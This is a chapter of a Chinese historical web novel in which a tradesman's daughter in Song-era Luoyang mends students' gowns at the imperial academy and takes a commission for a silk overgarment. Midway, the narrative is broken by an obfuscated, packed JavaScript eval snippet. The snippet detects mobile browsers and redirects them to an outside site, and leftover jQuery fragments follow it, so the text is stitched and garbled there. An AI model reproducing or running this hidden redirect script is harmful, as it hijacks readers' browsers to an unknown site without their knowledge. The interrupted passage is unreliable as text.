38.第 38 章 新行头
作品:《北宋小户女奋斗日常》 将时日拨回几日前,唐照环终于领到了入绫绮场后第一份月钱。
她盘算着,若天亮前出发,一个时辰走到国子监,忙完一天只坐回程车费四十五文,缝补学服挣的钱还能多剩下些,便咬咬牙,趁休憩日,怀揣着丝绢和针线包,直奔十五里外的观德坊国子监。
到了国子监,熟门熟路摸到爹爹的号舍。唐守仁见女儿又来,又是欢喜又是心疼:“环儿,你这般来回跑,身子如何吃得消?车钱……”
“爹爹莫提车钱。”唐照环笑嘻嘻地打断,变戏法似的从怀里掏出个油纸包,里面是还温热的肉炊饼,“您快尝尝这个。”
唐守仁看着女儿被风吹得微红的脸颊,心知她定是为省下车钱,一路走来的。他接过炊饼,咬了一口,满口生香,心里却是酸涩难当。唐照环趁他不注意,偷摸把个钱袋塞进唐守仁书案抽屉。
唐守仁连忙放下炊饼,从书案抽屉里摸出钱袋,还给唐照环:“爹这里用度够了,你自己留着。姑娘家大了,总要添置些脂粉头油,或是存点体己钱。”
唐照环脸上的笑容收了:“我在绫绮场有吃有住,穿的是场里发的衣裳,针线布料都不用自己买,要钱做什么?您读书笔墨纸砚,同窗交际应酬,哪样不要钱?女儿这点月钱,本就是攒着孝敬您的,您不收,女儿心里难受。”
她眼圈都红了,把那钱袋子又用力推回爹爹怀里。父女俩一个要给,一个不要,就在这狭小的号舍里推让起来。
唐守仁执拗不过女儿的孝心,又怕拉扯声引来旁人,最终只得长叹一声,将那钱袋子收回袖中:“罢了罢了,拗不过你。爹替你存着,日后给你置办嫁妆。”
这话一出,唐照环脸上飞起两朵红云,嗔道:“说这个做什么。”
父女俩还没说上几句贴心话,号舍门被敲响。
门一开,探头进来的竟是位面生的生员,腼腆道:“敢问唐小娘子可在?听说她针线功夫了得。”
唐照环一愣,起身应道:“小女便是,郎君有何吩咐?”
那生员一听,顿时喜上眉梢:“太好了,我那学服跟唐兄前些日子一样,腋下也崩线了。听闻小娘子手艺精巧,价又公道,特来相求,不知小娘子今日可有空闲?”
他话音刚落,门外竟又冒出两三个脑袋,都是闻讯赶来的生员,七嘴八舌:
“唐小娘子,还有我。”
“我也是腋下裂了。”
“我那袖子开线了,小娘子能补不?”
“先来后到,周兄,你排我后面。”
小小的号舍门口,竟排起了队,人人手里都捧着衣服要求加料。
原来上次唐照环的法子效果实在太好,穿了舒适,活动自如,大大减少了崩裂的尴尬。一传十,十传百,成了国子监生员间公开的秘密。
大伙儿私下比了一圈,找外面裁缝铺子,工钱贵不说,料子也未必匹配得好。只有这位唐小娘子,工细料实,价钱公道,还就在监里,方便。于是乎,都眼巴巴盼着她来呢。
唐照环一看这阵仗,心里乐开了花,面上绷着“哎呀怎么都来了”的无奈,实则手脚麻利得很。她做绫绮场的学徒,每月能领两尺丝绢做练习之用。这次来之前,她特意领了颜色与国子监学服极为接近的素绢,就揣在包袱里呢。
她让爹爹腾开地方,自己搬了桌椅到门口:“各位郎君莫急,一个个来,先量尺寸,再选衬布形状,最后找我爹登记。”
她按排队顺序,让生员细说学服哪边腋下需加,是菱形还是小三角更合适,加多少,让唐守仁记下名字要求,约好一个时辰后来取。
一时间,唐守仁号舍外人头攒动,热闹非凡。唐照环手不停歇,量、剪、缝、撬,飞针走线,动作行云流水。丝绢在她手下飞快地消耗,变成一块块服帖的衬布,缝进一件件学服的腋下。铜钱叮叮当当落入她随身的小钱袋,声音听在耳中,简直比丝竹管弦还要悦耳。
唐守仁在一旁看着,又是骄傲又是心疼,忙着给女儿打下手,再趁空递个剪子穿个线,给等候的生员们倒点粗茶。
眼看日头渐西,带来的素绢快用完,排队的人散了大半,号舍里总算清静了些。唐照环揉了揉发酸的手腕,正想喝口水歇歇,门外又探进一个脑袋,是唐守仁相熟的同窗林览。
“唐小娘子,可算寻着你了。”林览一脸焦急地进来,手里也捧着他的学服。
唐照环认得他,上次是他带头找自己缝补的:“可是又要改?”
林览连连摆手,脸上表情复杂:“不,想请小娘子,帮我把腋下新加的料子,拆了吧。”
“拆了?”唐照环和唐守仁都愣住了。旁人都是求着加,他怎么要拆?
唐照环不解地问:“这是为何?可是我缝得不好?”
林览苦着脸道:“小娘子手艺极好,只是这料子,它不该在这儿了。前几日学里选拔,有几位才学出众的生员被点了名,要去赴克继公主持的牡丹赏花会,小弟有幸也在其中。”
“恭喜林秀才。”唐照环和唐守仁连忙道贺。
能在宗室亲王面前露脸,若再能赋诗一首博得青睐,对日后前程大有裨益。
林览毫无喜色,指着学服腋下那处唐照环亲手缝制的菱形衬布:“恭喜啥呀,麻烦大了。这等场合规矩忒大,与会得穿咱们这身去,可你想想,其他几位同去献诗的富庶同窗们,他们的襕衫都是原样放大重做了一身,就我一人腋下多出这么一块。
克继公和宗室贵人们一看,定觉得我这人古怪,或认定衣衫不敬。所以,求小娘子赶紧帮我拆了,恢复原样。”
唐照环拿起林览那件襕衫,仔细看了看腋下原缝线处,又用手指捻了捻那加了衬布后重新缝合的针脚,摇头道:“不是我推脱,您这衣服,腋下本就收得紧。上次崩线,就是因为料子绷得太厉害。如今拆了这加宽的衬布,再按原缝线收口缝合,那地方只会绷得更紧。
您穿着它去赴文会,行礼,展卷,或挥毫泼墨时,动作稍大些,十有八九缝线处还得崩开,岂不更丢人?”
林览被唐照环的描述吓得一个激灵,额头冒出汗来。他只想着拆掉补丁恢复原样好看,却没想到这层风险。当众献诗,何等庄重,若真在克继公和满堂宗室面前学服腋下“开花”,那画面太美,他简直不敢想,前程怕是要就此断送。
“这可如何是好?”林览慌了神,求助地看向唐照环,“小娘子可有良策?”
唐照环沉吟片刻:“依我看,这衬布非但不能拆,您还得穿着它去。”
“啊?这……”
“您听我说完。”唐照环解释道,“您只需寻一件颜色略深的半袖褙子,罩在这学服外面,将腋下那片遮住便是。外面瞧着就是一身齐整的国子监学服罩着得体的外衫,谁能瞧见您腋下乾坤?既保了体面,又免了当众出丑的风险,岂不两全其美。”
“妙啊,既能遮掩,又不违制,此计大妙。”林览随即又皱眉,“可小弟囊中羞涩,并无合适的轻薄褙子。那等场合,总不能穿件厚实的麻褙子去,臃肿不堪,得是纱罗之类的才好,轻薄透气,行动间还有飘逸之姿。”
“那就现做一件丝料的。”唐照环接口道,心里的小算盘又拨响了,“素纱轻薄透气,素罗挺括有骨,您要哪种?小女子赶赶工,三五日便能做好送来。”
唐守仁在一旁插话道:“稍等,我记得你来时做了件青布褙子?”
林览连连摇头,一脸嫌弃:“守仁兄,那件是麻料的。牡丹花会是什么地方?宗室贵胄云集。这等能在克继公和西京学士面前露脸的机会,千载难逢,便是砸锅卖铁,也得置办一身像样的行头,何况只是一件褙子。”
正说着,门口又探进一个生员的脑袋,笑嘻嘻地打趣:“林兄,我看你是醉翁之意不在酒啊。急着置办新行头,莫不是想在赏花会上,被哪位宗室贵女瞧上眼,成就一段良缘?到时候可别忘了请我们吃喜酒。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455016|179672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林览被说中心事,脸腾地红到了耳根:“休要取笑。宗室贵女是我们这等穷酸书生能攀附的?你可知娶一位宗室娘子,需多少聘礼?”
那生员也来了兴趣:“多少?”
林览伸出两根手指。
“才两百贯?”唐照环不敢相信,永安县都得一百贯了。
林览苦笑摇头,既向往又绝望地说:“你也太小看宗室的门槛了。两千贯!只多不少!”
“两千贯?!”唐照环闻言惊得险些呛着,失声叫了出来。
她修缝一件学服才挣四十文。两千贯?那得缝多少衣服才挣够?
林览看她震惊的模样,叹道:“唐小娘子莫惊,娶了宗室娘子便是皇亲国戚,相公按例能直接授官,省下了十数年寒窗苦读和科场搏杀。
多少富甲一方的商贾或根基深厚的官宦之家,都削尖了脑袋想为自家儿孙求娶一位宗室娘子,好攀上这天家富贵,行情可不就水涨船高了。
那些宗室娘子,大多十五岁及笄之礼时已定下亲事,十六七岁风光出嫁。在咱们看来年纪是轻了些,可在她们那个圈子里,已是常理。
像我这等家世,想都别想。能在赏花会上露个脸,搏个诗文出彩,得贵人赏识,混个前程,已是侥天之幸了。”
唐照环猛地想起真娘。
自己一直没问过她年纪,看她身量模样,大概十三四岁光景。若按林览所说,宗女十五及笄定亲,那这次花会,对她而言,岂不正是相看议亲的关键时刻?
她母女二人只想着躲远点不惹人注意,万一有哪家想攀附宗室又不甚挑剔门第的,专门留意这些旁支小娘子呢?她那画出来的锦缎领口袖口,经得起有心人近看吗?
唐照环安慰自己,没事的。就算真被相看的人看出来,也不会声张,又没有好处。况且,王掌计愿意冒风险传授画缋之术,又带真娘夜闯库房记录纹样已算仁至义尽,别给她添麻烦。
她这边心思电转,面上不动声色,对林览道:“郎君,您要的轻薄褙子,现做一件也来得及。您看要什么料子?素纱用料一匹约莫一贯,素罗更挺括美观,穿着也更舒适,一匹得二贯左右,工钱给您个实惠价,二百文就成。料子您自备,或者我帮您代买,五日内,我一准给您送来。”
林览一听,这比他预想的便宜不少,工钱比外面成衣铺子便宜了近一半,还省了他自己跑腿买料。
罗料比纱更显档次,穿着也舒服。
他一咬牙:“就素罗,显得人精神。麻烦小娘子帮我代买一匹上好的黑色素罗,我先付一贯定金,余下的,待取衣时一并奉上。”
唐守仁在一旁听得直嘬牙花子:“林兄,素罗太贵了,素纱足够。省下钱买几本好书……”
林览却异常坚决:“守仁兄,你不懂。这等场合关乎前程,岂能吝啬,衣冠乃人之门面。你看你脚上,不也穿着令嫒用上好素绢做的袜子?比那麻袜强出百倍。这钱,省不得。”
他生怕唐照环反悔,忙回屋取出一贯铜钱交给唐照环。
唐照环收了钱,待林览走了,她对唐守仁道:“您要袜子穿着舒服,等下月我有多余的绢了,再给您做两双换着穿。我得赶紧回去买料子做褙子了。”
唐守仁连忙道:“不急不急,这双还好着呢。你且快些回去,莫耽误了林弟的正事,也莫让王掌计寻你。”
唐照环应了,揣着林览给的钱,匆匆收拾好东西,又嘱咐了几句,急急出了号舍,看天色还早,拔腿直奔南市所在通利坊去。
洛阳城宫城在北,与之毗邻的北市附近贵人聚居,奇珍异宝、绫罗绸缎、海外番货应有尽有,价钱也是顶了天的贵。林览给的钱,在北市怕是连半匹花罗都悬。
唐照环精打细算惯了,想着做件褙子用素罗即可,犯不上去北市挨宰。南市虽不如北市富丽,却更接地气,柴米油盐、布匹针线、日用家什,应有尽有,货品也繁杂,价格也平实许多。